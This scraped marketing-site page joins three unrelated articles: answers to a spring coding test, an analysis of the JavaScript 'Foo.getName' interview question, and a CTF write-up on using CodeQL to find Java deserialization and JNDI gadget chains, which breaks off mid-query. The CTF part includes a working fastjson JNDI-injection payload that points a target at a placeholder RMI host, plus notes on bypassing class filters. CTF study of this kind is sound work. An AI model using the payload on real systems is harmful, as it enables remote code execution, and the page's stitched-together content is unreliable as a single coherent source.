整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          春招研發筆試題解密(Part 2)

          春招研發筆試題解密(Part 2)

          一場春招筆試完美落幕啦,總體來看這場在線編程題難度不大,更多考察的是代碼的基本能力。

          各位解題高手是不是仍意猶未盡呢?但與此同時你也會想要知道答案吧,這里就有出題官給大家分享的解題思路哦。快來看看你的思路有沒有跑偏呀!


          Prob. A- 兩數組找相同的元素

          題目大意

          給定兩個無序數組求交集,時間復雜度要求 O(nlogn) 或 O(n)。

          題解

          簡單題。排序二分、Tree set/map 都可以實現 log 級別的快速查找,也可以利用 hash 實現 O(1) 的查找復雜度。

          值得注意的是,各個語言的一些基于無序查找的 List find 方法都是線性復雜度的(例如 c++ 的 vector::find,javascript 的 Array.indexof 等),不滿足要求。


          Prob. B - DAU 統計

          題目大意

          給定一堆 64 位 ID,根據題目規則求 distinct ID 的數量。

          題解

          簡單題,本質上就是實現一個 unique 方法。做法很多,一個簡單的實現方法就是排序之后進行相鄰比對即可。盡管時限上卡得不嚴,但由于讀入的數據量很大,在 IO 上也有些優化的余地。例如對于 C++ 的用戶,更推薦使用 scanf 而不是帶 IO 同步的 cin(也可以采用 getchar/fread 進一步優化);對于 java,stream buffered input method 在性能上也比裸的 scanner 更好。當然即便不加這些優化,上述算法也能順利通過測試數據。

          作為一個在線筆試題,這個題目是非常簡單的。一個留給各位思考的 meta problem 是,如果應用于更大規模的場景下,又應當如何實現這個問題?


          Prob. C - 形式化算式

          題目大意

          根據題目格式,對一個算式(包含數字和加減乘除)進行點陣輸出。

          題解

          代碼實現題。先將各個字符的點陣存起來,然后確定最后要輸出的所有字符(例如 sprintf),接下來模擬輸出就可以了。整體實現上沒什么難度,一些 corner case 包括小數點,末尾 0 等,小心處理即可。


          Prob. D - 任務執行策略

          題目大意

          給定一個任務依賴的下三角矩陣,每個任務依賴于它在矩陣中下方的兩個子任務,當且僅當子任務都執行完成之后才能執行當前任務。求執行恰好 k 個任務的最大權值之和。

          題解

          動態規劃。

          如圖,如果我們選擇了 Job(i, j),除了要同時選中 Job(i + 1, j)之外,也意味著 Job(i + 1, j + 1), Job(i + 2, j + 2) … Job(i + d, j + d) 這一條鏈全部都要選中。既然每條斜線都是選擇一個后綴,因此可以據此劃分階段進行動態規劃。

          考慮 f[i, j, m] 表示前 i 條斜線,總共選擇了 m 個任務,其中第 i 條斜線自下往上選擇了 j 個任務時的最大權值和,那么轉移時只需要保證第 i - 1 條斜線需要選擇的任務個數 >=j - 1 即可。狀態轉移方程為

          f[i, j, m]=max(f[i - 1, j2, m - j]) + sum[i, j] (j - 1 <=j2 <=i)

          這里 sum[i, j] 表示第 i 條斜線的最下面 j 個任務的權值之和。這個轉移的復雜度是 O(n) 的,總復雜度會達到 O(n^3 * m),不符合要求。問題的關鍵在于如何快速地獲得 max(f[i - 1, j2, m - j]) 這一項,這里的優化方式很多,簡單舉兩個方法:

          1. 用另一個數組維護每條斜線的 f 數組的后綴的最大值,那么 max(f[i - 1, j2, m - j]) 這一項就可以 O(1) 得到;

          2. 將 f 的定義改為,第 i 條斜線自下往上 至少 選擇了 j 個任務的最大權值和,那么轉移時就不需要枚舉 j2 了。具體的轉移方程留給各位重新推導一下。

          優化之后可以得到 O(n^2 * m) 的時間復雜度。

          當然這個題目也可以有另外的狀態劃分方式。注意到 Job(i, j) 選中時,除了 Job(i + 1, j + 1) 這個任務之外,Job(i + 1, j), Job(i + 2, j) … Job(n, j) 這一條鏈也必須選中,那么也可以用和上述對稱的方式來構造轉移方程。時間復雜度同樣也是 O(n^2 * m) 的。

          筆試題解已經誠意滿滿地奉上,

          我們也同樣滿懷誠意地期待與你在頭條相見!

          function Foo() {
              getName = function () { alert (1); };
              return this;
          }
          Foo.getName = function () { alert (2);};
          Foo.prototype.getName = function () { alert (3);};
          var getName = function () { alert (4);};
          function getName() { alert (5);}
          
          //請寫出以下輸出結果:
          Foo.getName();
          getName();
          Foo().getName();
          getName();
          new Foo.getName();
          new Foo().getName();
          new new Foo().getName();


          這幾天面試上幾次碰上這道經典的題目,特地從頭到尾來分析一次答案,這道題的經典之處在于它綜合考察了面試者的JavaScript的綜合能力,包含了變量定義提升、this指針指向、運算符優先級、原型、繼承、全局變量污染、對象屬性及原型屬性優先級等知識,此題在網上也有部分相關的解釋,當然我覺得有部分解釋還欠妥,不夠清晰,特地重頭到尾來分析一次,當然我們會把最終答案放在后面,并把此題再改高一點點難度,改進版也放在最后,方便面試官在出題的時候有個參考,更多詳情可關注本文作者@Wscats

          第一問

          先看此題的上半部分做了什么,首先定義了一個叫Foo的函數,之后為Foo創建了一個叫getName的靜態屬性存儲了一個匿名函數,之后為Foo的原型對象新創建了一個叫getName的匿名函數。之后又通過函數變量表達式創建了一個getName的函數,最后再聲明一個叫getName函數。

          第一問的Foo.getName自然是訪問Foo函數上存儲的靜態屬性,答案自然是2,這里就不需要解釋太多的,一般來說第一問對于稍微懂JS基礎的同學來說應該是沒問題的,當然我們可以用下面的代碼來回顧一下基礎,先加深一下了解

          function User(name) {
              var name = name; //私有屬性
              this.name = name; //公有屬性
              function getName() { //私有方法
                  return name;
              }
          }
          User.prototype.getName = function() { //公有方法
              return this.name;
          }
          User.name = 'Wscats'; //靜態屬性
          User.getName = function() { //靜態方法
              return this.name;
          }
          var Wscat = new User('Wscats'); //實例化


          注意下面這幾點:

          • 調用公有方法,公有屬性,我們必需先實例化對象,也就是用new操作符實化對象,就可構造函數實例化對象的方法和屬性,并且公有方法是不能調用私有方法和靜態方法的
          • 靜態方法和靜態屬性就是我們無需實例化就可以調用
          • 而對象的私有方法和屬性,外部是不可以訪問的

          第二問

          第二問,直接調用getName函數。既然是直接調用那么就是訪問當前上文作用域內的叫getName的函數,所以這里應該直接把關注點放在4和5上,跟1 2 3都沒什么關系。當然后來我問了我的幾個同事他們大多數回答了5。此處其實有兩個坑,一是變量聲明提升,二是函數表達式和函數聲明的區別。

          我們來看看為什么,可參考(1)關于Javascript的函數聲明和函數表達式 (2)關于JavaScript的變量提升

          在Javascript中,定義函數有兩種類型

          函數聲明

          // 函數聲明
          function wscat(type) {
              return type === "wscat";
          }

          函數表達式

          // 函數表達式
          var oaoafly = function(type) {
              return type === "oaoafly";
          }


          先看下面這個經典問題,在一個程序里面同時用函數聲明和函數表達式定義一個名為getName的函數

          getName() //oaoafly
          var getName = function() {
          console.log('wscat')
          }
          getName() //wscat
          function getName() {
          console.log('oaoafly')
          }
          getName() //wscat


          上面的代碼看起來很類似,感覺也沒什么太大差別。但實際上,Javascript函數上的一個“陷阱”就體現在Javascript兩種類型的函數定義上。

          • JavaScript 解釋器中存在一種變量聲明被提升的機制,也就是說函數聲明會被提升到作用域的最前面,即使寫代碼的時候是寫在最后面,也還是會被提升至最前面。
          • 而用函數表達式創建的函數是在運行時進行賦值,且要等到表達式賦值完成后才能調用
          var getName //變量被提升,此時為undefined
          
          getName() //oaoafly 函數被提升 這里受函數聲明的影響,雖然函數聲明在最后可以被提升到最前面了
          var getName = function() {
          console.log('wscat')
          } //函數表達式此時才開始覆蓋函數聲明的定義
          getName() //wscat
          function getName() {
          console.log('oaoafly')
          }
          getName() //wscat 這里就執行了函數表達式的值


          所以可以分解為這兩個簡單的問題來看清楚區別的本質

          var getName;
          console.log(getName) //undefined
          getName() //Uncaught TypeError: getName is not a function
          var getName = function() {
          console.log('wscat')
          }
          var getName;
          console.log(getName) //function getName() {console.log('oaoafly')}
          getName() //oaoafly
          function getName() {
          console.log('oaoafly')
          }


          這個區別看似微不足道,但在某些情況下確實是一個難以察覺并且“致命“的陷阱。出現這個陷阱的本質原因體現在這兩種類型在函數提升和運行時機(解析時/運行時)上的差異。

          當然我們給一個總結:Javascript中函數聲明和函數表達式是存在區別的,函數聲明在JS解析時進行函數提升,因此在同一個作用域內,不管函數聲明在哪里定義,該函數都可以進行調用。而函數表達式的值是在JS運行時確定,并且在表達式賦值完成后,該函數才能調用。

          所以第二問的答案就是4,5的函數聲明被4的函數表達式覆蓋了

          第三問

          Foo().getName(); 先執行了Foo函數,然后調用Foo函數的返回值對象的getName屬性函數。

          Foo函數的第一句getName=function () { alert (1); };是一句函數賦值語句,注意它沒有var聲明,所以先向當前Foo函數作用域內尋找getName變量,沒有。再向當前函數作用域上層,即外層作用域內尋找是否含有getName變量,找到了,也就是第二問中的alert(4)函數,將此變量的值賦值為function(){alert(1)}。

          此處實際上是將外層作用域內的getName函數修改了。

          注意:此處若依然沒有找到會一直向上查找到window對象,若window對象中也沒有getName屬性,就在window對象中創建一個getName變量。

          之后Foo函數的返回值是this,而JS的this問題已經有非常多的文章介紹,這里不再多說。

          簡單的講,this的指向是由所在函數的調用方式決定的。而此處的直接調用方式,this指向window對象。

          遂Foo函數返回的是window對象,相當于執行window.getName(),而window中的getName已經被修改為alert(1),所以最終會輸出1
          此處考察了兩個知識點,一個是變量作用域問題,一個是this指向問題
          我們可以利用下面代碼來回顧下這兩個知識點

          var name = "Wscats"; //全局變量
          window.name = "Wscats"; //全局變量
          function getName() {
              name = "Oaoafly"; //去掉var變成了全局變量
              var privateName = "Stacsw";
              return function() {
                  console.log(this); //window
                  return privateName
              }
          }
          var getPrivate = getName("Hello"); //當然傳參是局部變量,但函數里面我沒有接受這個參數
          console.log(name) //Oaoafly
          console.log(getPrivate()) //Stacsw


          因為JS沒有塊級作用域,但是函數是能產生一個作用域的,函數內部不同定義值的方法會直接或者間接影響到全局或者局部變量,函數內部的私有變量可以用閉包獲取,函數還真的是第一公民呀~

          而關于this,this的指向在函數定義的時候是確定不了的,只有函數執行的時候才能確定this到底指向誰,實際上this的最終指向的是那個調用它的對象

          所以第三問中實際上就是window在調用**Foo()**函數,所以this的指向是window

          window.Foo().getName();
          //->window.getName();

          第四問

          直接調用getName函數,相當于window.getName(),因為這個變量已經被Foo函數執行時修改了,遂結果與第三問相同,為1,也就是說Foo執行后把全局的getName函數給重寫了一次,所以結果就是Foo()執行重寫的那個getName函數

          第五問

          第五問new Foo.getName();此處考察的是JS的運算符優先級問題,我覺得這是這題靈魂的所在,也是難度比較大的一題

          下面是JS運算符的優先級表格,從高到低排列。可參考MDN運算符優先級

          優先級運算類型關聯性運算符19圓括號n/a( … )18成員訪問從左到右… . …


          需計算的成員訪問從左到右… [ … ]


          new (帶參數列表)n/a new… ( … )17函數調用從左到右… ( … )


          new (無參數列表)從右到左new …16后置遞增(運算符在后)n/a… ++


          后置遞減(運算符在后)n/a… --15邏輯非從右到左! …


          按位非從右到左~ …


          一元加法從右到左+ …


          一元減法從右到左- …


          前置遞增從右到左++ …


          前置遞減從右到左-- …


          typeof從右到左typeof …


          void從右到左void …


          delete從右到左delete …14乘法從左到右… * …


          除法從左到右… / …


          取模從左到右… % …13加法從左到右… + …


          減法從左到右… - …12按位左移從左到右… << …


          按位右移從左到右… >> …


          無符號右移從左到右… >>> …11小于從左到右… < …


          小于等于從左到右… <=…


          大于從左到右… > …


          大于等于從左到右… >=…


          in從左到右… in …


          instanceof從左到右… instanceof …10等號從左到右…==…


          非等號從左到右… !=…


          全等號從左到右…===…


          非全等號從左到右… !==…9按位與從左到右… & …8按位異或從左到右… ^ …7按位或從左到右… 按位或 …6邏輯與從左到右… && …5邏輯或從左到右… 邏輯或 …4條件運算符從右到左… ? … : …3賦值從右到左…=…


          … +=…


          … -=…


          … *=…


          … /=…


          … %=…


          … <<=…


          … >>=…


          … >>>=…


          … &=…


          … ^=…


          … 或=…2yield從右到左yield …


          yield*從右到左yield* …1展開運算符n/a... …0逗號從左到右… , …

          這題首先看優先級的第18和第17都出現關于new的優先級,new (帶參數列表)比new (無參數列表)高比函數調用高,跟成員訪問同級

          new Foo.getName();的優先級是這樣的

          相當于是:

          new (Foo.getName)();
          • 點的優先級(18)比new無參數列表(17)優先級高
          • 當點運算完后又因為有個括號(),此時就是變成new有參數列表(18),所以直接執行new,當然也可能有朋友會有疑問為什么遇到()不函數調用再new呢,那是因為函數調用(17)比new有參數列表(18)優先級低

          .成員訪問(18)->new有參數列表(18)

          所以這里實際上將getName函數作為了構造函數來執行,遂彈出2。

          第六問

          這一題比上一題的唯一區別就是在Foo那里多出了一個括號,這個有括號跟沒括號我們在第五問的時候也看出來優先級是有區別的

          (new Foo()).getName()

          那這里又是怎么判斷的呢?首先new有參數列表(18)跟點的優先級(18)是同級,同級的話按照從左向右的執行順序,所以先執行new有參數列表(18)再執行點的優先級(18),最后再函數調用(17)

          new有參數列表(18)->.成員訪問(18)->()函數調用(17)

          這里還有一個小知識點,Foo作為構造函數有返回值,所以這里需要說明下JS中的構造函數返回值問題。

          構造函數的返回值

          在傳統語言中,構造函數不應該有返回值,實際執行的返回值就是此構造函數的實例化對象。
          而在JS中構造函數可以有返回值也可以沒有。

          1. 沒有返回值則按照其他語言一樣返回實例化對象。
          function Foo(name) {
          this.name = name
          }
          console.log(new Foo('wscats'))


          1. 若有返回值則檢查其返回值是否為引用類型。如果是非引用類型,如基本類型(String,Number,Boolean,Null,Undefined)則與無返回值相同,實際返回其實例化對象。
          function Foo(name) {
          this.name = name
          return 520
          }
          console.log(new Foo('wscats'))


          1. 若返回值是引用類型,則實際返回值為這個引用類型。
          function Foo(name) {
          this.name = name
          return {
          age: 16
          }
          }
          console.log(new Foo('wscats'))

          原題中,由于返回的是this,而this在構造函數中本來就代表當前實例化對象,最終Foo函數返回實例化對象。

          之后調用實例化對象的getName函數,因為在Foo構造函數中沒有為實例化對象添加任何屬性,當前對象的原型對象(prototype)中尋找getName函數。

          當然這里再拓展個題外話,如果構造函數和原型鏈都有相同的方法,如下面的代碼,那么默認會拿構造函數的公有方法而不是原型鏈,這個知識點在原題中沒有表現出來,后面改進版我已經加上。

          function Foo(name) {
          this.name = name
          this.getName = function() {
          return this.name
          }
          }
          Foo.prototype.name = 'Oaoafly';
          Foo.prototype.getName = function() {
          return 'Oaoafly'
          }
          console.log((new Foo('Wscats')).name) //Wscats
          console.log((new Foo('Wscats')).getName()) //Wscats

          第七問

          new new Foo().getName();同樣是運算符優先級問題。做到這一題其實我已經覺得答案沒那么重要了,關鍵只是考察面試者是否真的知道面試官在考察我們什么。
          最終實際執行為:

          new ((new Foo()).getName)();


          new有參數列表(18)->new有參數列表(18)

          先初始化Foo的實例化對象,然后將其原型上的getName函數作為構造函數再次new,所以最終結果為3

          答案

          function Foo() {
              getName = function () { alert (1); };
              return this;
          }
          Foo.getName = function () { alert (2);};
          Foo.prototype.getName = function () { alert (3);};
          var getName = function () { alert (4);};
          function getName() { alert (5);}
          
          //答案:
          Foo.getName();//2
          getName();//4
          Foo().getName();//1
          getName();//1
          new Foo.getName();//2
          new Foo().getName();//3
          new new Foo().getName();//3

          后續

          后續我把這題的難度再稍微加大一點點(附上答案),在Foo函數里面加多一個公有方法getName,對于下面這題如果用在面試題上那通過率可能就更低了,因為難度又大了一點,又多了兩個坑,但是明白了這題的原理就等同于明白了上面所有的知識點了

          function Foo() {
          this.getName = function() {
          console.log(3);
          return {
          getName: getName //這個就是第六問中涉及的構造函數的返回值問題
          }
          }; //這個就是第六問中涉及到的,JS構造函數公有方法和原型鏈方法的優先級
          getName = function() {
          console.log(1);
          };
          return this
          }
          Foo.getName = function() {
          console.log(2);
          };
          Foo.prototype.getName = function() {
          console.log(6);
          };
          var getName = function() {
          console.log(4);
          };
          
          function getName() {
          console.log(5);
          } //答案:
          Foo.getName(); //2
          getName(); //4
          console.log(Foo())
          Foo().getName(); //1
          getName(); //1
          new Foo.getName(); //2
          new Foo().getName(); //3
          //多了一問
          new Foo().getName().getName(); //3 1
          new new Foo().getName(); //3


          最后,其實我是不建議把這些題作為考察面試者的唯一評判,但是作為一名合格的前端工程師我們不應該因為浮躁忽略了我們的一些最基本的基礎知識,當然我也祝愿所有面試者找到一份理想的工作,祝愿所有面試官找到心中那匹千里馬~

          CodeQL是近幾年很火的一個語義代碼分析引擎,使用CodeQL可以像查詢數據一樣來查詢代碼,編寫查詢用于查找代碼中的漏洞。筆者作為一名安全競賽研究員,嘗試使用CodeQL來協助CTF中Java題目的代碼審計。本文將圍繞著使用CodeQL來查詢Java中函數的流向,以及類與函數常用謂詞的運用,在CTF的代碼審計時快速判斷某個函數是否會流向一些可能存在利用的函數。

          基礎的環境搭建

          關于CodeQL的環境安裝教程,網上已經有比較多的文章了,這里就不贅述。給出幾個參考鏈接:

          https://github.com/github/codeql

          https://www.anquanke.com/post/id/266823

          https://www.freebuf.com/sectool/269924.html

          https://tttang.com/archive/1322/

          對類進行限制

          查詢的過程中,我們如果想要查詢某個類(或方法),這時就需要通過一些謂詞來限制這個類(或方法)的一些特征。

          先從網上下載一個已經打包的數據庫:
          https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip

          在CodeQL中,RefType就包含了我們在Java里面使用到的Class,Interface的聲明,比如我們現在需要查詢一個類名為XStreamHandler的類,但是我們不確定他是Class還是Interface,我們就可以通過 RefType定義變量后進行查詢,如下

          import java
          
          from RefType c
          where c.hasName("XStreamHandler")
          select c

          RefType中常用的謂詞:
          https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$RefType.html

          getACallable() 獲取所有可以調用方法(其中包括構造方法)
          getAMember() 獲取所有成員,其中包括調用方法,字段和內部類這些
          getAField() 獲取所有字段
          getAMethod() 獲取所有方法
          getASupertype() 獲取父類
          getAnAncestor() 獲取所有的父類相當于遞歸的getASupertype*()

          獲取XStreamHandlerfromObject可以通過構造如下查詢語句:

          import java
          
          from RefType c, Callable cf
          where
            c.hasName("XStreamHandler") and
            cf.hasName("fromObject") and
            cf=c.getACallable()
          select c, cf

          在CodeQL中,Java的方法限制,我們可以使用Callable,并且Callable父類是 Method (普通的方法)和 Constructor(類的構造方法)

          對于方法調用,我們可以使用call,并且call的父類包括MethodAccess, ClassInstanceExpression, ThisConstructorInvocationStmtSuperConstructorInvocationStmt

          現在我們需要查詢有哪些地方調用了XStream.fromXML,可以構造如下的查詢:

          import java
          
          from MethodAccess c, Callable cb
          where
            cb.hasName("fromXML") and
            cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and
            c.getMethod()=cb
          select c

          Callable常使用的謂詞:
          https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html

          polyCalls(Callable target) 一個Callable 是否調用了另外的Callable,這里面包含了類似虛函數的調用
          hasName(name) 可以對方法名進行限制

          Call中常使用的謂詞:
          https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html

          getCallee() 返回函數聲明的位置
          getCaller() 返回調用這個函數的函數位置

          現在我們先構建一個mybatis-3的數據庫,通過CodeQL database create mybatis_3_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"進行編譯,編譯完導入vscode就行

          mybatis-3的下載鏈接:https://github.com/mybatis/mybatis-3

          我們先編寫一個限制方法名為lookup,并且他所屬的類或者接口是javax.naming.Context的類,點擊快速查詢得到三個結果:

          class LookupMethod extends Call {
            LookupMethod() {
              this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
              this.getCallee().hasName("lookup")
            }
          }

          然后再編寫一個限制方法名滿足gettersetter的類,我們點擊快速查看,可以得到很多結果。

          class GetterCallable extends Callable {
            GetterCallable() {
              getName().matches("get%") and
              hasNoParameters() and
              getName().length() > 3
              or
              getName().matches("set%") and
              getNumberOfParameters()=1
            }
          }

          現在我們需要找到一個可以從gettersetter方法到lookup的路徑,這個時候可以利用edgesCallable中的謂詞polyCalls進行構造,通過查詢可以得到一個結果,也就是 fastjson 1.2.45里面的一個繞過方法。

          https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/PrintAst.qll/predicate.PrintAst$edges.4.html

          /**
           * @kind path-problem
           */
          
          import java
          
          class LookupMethod extends Call {
            LookupMethod() {
              this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
              this.getCallee().hasName("lookup")
            }
          }
          
          class GetterCallable extends Callable {
            GetterCallable() {
              getName().matches("get%") and
              hasNoParameters() and
              getName().length() > 3
              or
              getName().matches("set%") and
              getNumberOfParameters()=1
            }
          }
          
          query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
          
          from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
          where
            endcall.getCallee()=endCallAble and
            edges+(entryPoint, endCallAble)
          select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"、

          在CTF中的運用

          gadeget題目

          SUSCTF2022的gadeget題目考察的是:fastjson JNDI注入、JNDI注入繞過高版本jdk限制、繞過RASP等。

          做這個題目的時候,有一步是需要我們找到通過fastjson利用quartz依賴包的gadeget觸發反序列化。

          通過 https://github.com/quartz-scheduler/quartz 下載源碼包,然后通過以下命令生成數據庫:

          CodeQL database create  quartz_db --language="java"  --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"

          然后導入到CodeQL里面。需要注意的是,如果這個數據庫通過https://github.com/waderwu/extractor-java這個工具生成quartz2.2.1數據庫的話會導致查詢不到getTransaction函數,查看相應代碼的AST(抽象語法樹)發現,AST這里并沒有把getTransaction解析為函數。

          然后通過如下的codeql語句進行查詢,整個codeql的查詢意義是先找到一個從getter或者setter出發的函數,是否能流到lookup的調用,并且這個lookup調用時的參數是存在相應的setter進行賦值操作。

          /**
           * @kind path-problem
           */
          
          import java
          
          class LookupMethod extends Call {
            LookupMethod() {
              this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
              this.getCallee().hasName("lookup") and
              exists(FieldAccess f, Class cl |
                this.getAnArgument()=f and
                cl.getACallable().getName().toLowerCase().matches("set" + f.toString().toLowerCase()) and
                this.getCaller().getDeclaringType()=cl
              )
            }
          }
          
          class GetterCallable extends Callable {
            GetterCallable() {
              getName().matches("get%") and
              hasNoParameters() and
              getName().length() > 3
              or
              getName().matches("set%") and
              getNumberOfParameters()=1
            }
          }
          
          query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
          
          from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
          where
            endcall.getCallee()=endCallAble and
            edges+(entryPoint, endCallAble)
          select endcall.getCaller(), entryPoint, endcall.getCaller(), "fastjson"

          可以發現掃到了很多地方,但是主要觸發點就兩個:

          經過篩選,我們發現可以通過JTANonClusteredSemaphore的方法getTransaction觸發jndi

          所以我們就可以構造poc,遠程可以收到請求,利用成功。

          [{"@type":"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore","TransactionManagerJNDIName":"rmi://ip:port/h"},{"$ref":"$[0].Transaction"}]

          ezjava題目

          MRCTF2022的ezjava題目考察的是:bypass SerialKiller、反序列化鏈構造等。

          題目環境:
          https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF/%E7%BB%95serializeKiller

          題目對一些類進行了過濾,很容易想到出題人就是讓我們繞過限制,過濾了如下的類,結合之前對cc鏈的掌握,我們知道cc鏈在最后代碼執行或者命令執行的sink就兩個地方,一個是通過反射到命令執行,另一個是通過TrAXFilterTemplatesImpl的配合進行代碼執行,他這里就只是過濾了最后觸發的地方,前面反序列化到LazyMap.get()都是可以用的。

          這次生成cc3.2.1數據庫我用的是如下鏈接的工具(需要注意一點是在linux上面構建數據庫的codeql版本最好和在vscode里面使用的版本一致),因為沒有安裝相應版本的jdk進行編譯,直接通過mvn構建時報錯。

          https://github.com/waderwu/extractor-java

          這里我選擇的是找到一個其他可以利用的點,這個點是可以觸發Constructor.newInstance的方法,具體構建查詢如下

          /**
           * @kind path-problem
           */
          
          import java
          
          class NewInstanceCall extends Call {
              NewInstanceCall() {
              this.getCallee().getDeclaringType() instanceof TypeConstructor and
              this.getCallee().hasName("newInstance") and
              not getCaller().getDeclaringType().hasName("InvokerTransformer") and
              not getCaller().getDeclaringType().hasName("ChainedTransformer") and
              not getCaller().getDeclaringType().hasName("ConstantTransformer") and
              not getCaller().getDeclaringType().hasName("InstantiateTransformer")
            }
          }
          
          class GetterCallable extends Callable {
              GetterCallable() {
              getName().matches("transform") and
              not getDeclaringType() instanceof Interface and
              fromSource() and
              getNumberOfParameters()=1 and
              not getDeclaringType().hasName("InvokerTransformer") and
              not getDeclaringType().hasName("ChainedTransformer") and
              not getDeclaringType().hasName("ConstantTransformer") and
              not getDeclaringType().hasName("InstantiateTransformer")
            }
          }
          
          query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
          
          from  NewInstanceCall endcall, GetterCallable entryPoint,Callable endCallAble
          where endcall.getCallee()=endCallAble and
            edges+(entryPoint, endCallAble)
          select endcall.getCaller(), entryPoint, endcall.getCaller(), "cc finder"

          最后人工篩選確定使用FactoryTransformer.transform為新的觸發點,具體poc可以參考:

          https://guokeya.github.io/post/tLCxJb1Sl/

          https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#EzJava-%E2%80%93-Bypass-Serialkiller

          ezchain題目

          hfctf2022的ezchain題目考察的是:hessian反序列化鏈構造等。

          題目環境:
          https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain

          因為這次跑CodeQL需要生成相應jdk的數據庫,所以關于數據庫的生成可以參考下面兩個鏈接:

          https://old.sumsec.me/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/

          https://blog.csdn.net/mole_exp/article/details/122330521

          在這個題里面的利用主要就是通過getter查找到二次反序列化點和命令執行,但是這次沒有選用遞歸的形式,因為遞歸太慢了,不過有時間可以跑跑看還有沒有其他的點。

          /**
           * @kind path-problem
           */
          
          import java
          
          class ReadCall extends Call {
            ReadCall() {
              this.getCallee().getDeclaringType().hasQualifiedName("java.io", "ObjectInput") and
              this.getCallee().hasName("readObject") and
              this.getCallee().fromSource()
            }
          }
          
          class GetterCallable extends Callable {
              GetterCallable() {
              getName().matches("get%") and
              this.hasNoParameters() and
              getName().length() > 3
            }
          }
          
          query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
          
          from  ReadCall endcall, GetterCallable entryPoint,Callable endCallAble
          where endcall.getCallee()=endCallAble and
            edges(entryPoint, endCallAble)
          select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to readObject"

          但是在查詢getterRuntime.getRuntime().exec時候,我測試了很多次發現都沒有辦法直接查詢到,因為從getter到命令執行的地方是經過了java的native方法,導致失去了AccessController.doPrivileged方法的信息。

          來看看在CodeQL中這一部分的數據是什么樣子吧,可以發現關于這部分的函數調用根本沒有解析出來。

          import java
          
          from Callable c
          where c.hasName("execCmd") and
          c.getDeclaringType().hasName("PrintServiceLookupProvider")
          select c.getACallee()

          所以我們就只好設置execCmd為終點了,這里也只掃了一層的,如果遞歸就可能要很久。

          /**
           * @kind path-problem
           */
          
          import java
          
          class ExecCall extends Call {
            ExecCall() {
              this.getCallee().getDeclaringType().hasQualifiedName("sun.print", "PrintServiceLookupProvider") and
              this.getCallee().hasName("execCmd")
              or
              this.getCallee().getDeclaringType().hasQualifiedName("java.lang", "Runtime") and
              this.getCallee().hasName("exec")
            }
          }
          
          class GetterCallable extends Callable {
            GetterCallable() {
              getName().matches("get%") and
              this.hasNoParameters() and
              getName().length() > 3
            }
          }
          
          query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
          
          from ExecCall endcall, GetterCallable entryPoint, Callable endCallAble
          where
            endcall.getCallee()=endCallAble and
            edges(entryPoint, endCallAble)
          select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to execCmd"

          ezcc題目

          2022年數字中國創新大賽車聯網安全賽初賽的ezcc題目考察的是:Shiro反序列化、CommonsCollections鏈、CommonsBeanutils鏈的繞過等。

          題目環境:
          https://www.ichunqiu.com/battalion?t=1&r=70889

          題目給了附件,大概看一下就明白是Shiro反序列化的利用,但是題目過濾了一些類。

          這個時候可以利用之前學習過的poc進行改造,可以清楚的看到我們只需要找到一個 InvokerTransformer的替代類即可

          https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java

          其實熟悉cc鏈的應該一眼就看出來可以通過InstantiateTransformer來代替,因為在cc3cc4中注釋里面寫的很清楚。

          如果不知道這個前提的情況下我們可以怎么去思考,先看看 InvokerTransformer的作用,可以發現是可以通過反射執行newTransformer的方法。

          我們先看看剩下的transform里面,哪些看著比較好利用吧,直接快速查詢看看,發現總共就29個,挨著看看每個方法。

          import java
          
          class TransformrCallable extends Callable {
            TransformrCallable() {
              getName().matches("transform") and
              not getDeclaringType() instanceof Interface and
              fromSource() and
              getNumberOfParameters()=1 and
              not getDeclaringType().hasName("InvokerTransformer") and
              not getDeclaringType().hasName("ConstantTransformer") 
            }
          }
          from TransformrCallable c
          select c,c.getBody(),c.getDeclaringType()

          這里就列舉一下有那些看著感覺可以利用吧。

          第6個會調用某些滿足條件的create()的方法:

          第7個,會調用Closure類的execute方法:

          第9個,會調用Factory類的create方法:

          第10個的時候,發現我們可以實例化一個類,這就代表著我們可以觸發一些類的構造方法:

          第13個,會調用Predicate類的execute方法:

          在這29個里面,我們就篩選出來了5個可能存在利用的地方,首先我們的目標就是要找到一個可以調用到TemplatesImplnewTransformer方法的地方。

          我先看找到的第一個可能存在利用的地方,CloneTransformer.transform函數后續操作。

          如果有目標類存在clone方法,就直接返回new PrototypeFactory.PrototypeCloneFactory后,調用create方法,否則new InstantiateFactory后調用create方法,不過這里new InstantiateFactory的參數值不完全可控,所以利用不了

          接下來看看第二個點Closure.execute,因為Closureinterface,所以采用getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")進行限制,得到了9個結果,但是看著感覺沒有什么好利用的。

          import java
          
          class ClosureCallable extends Callable {
            ClosureCallable() {
              getName().matches("execute") and
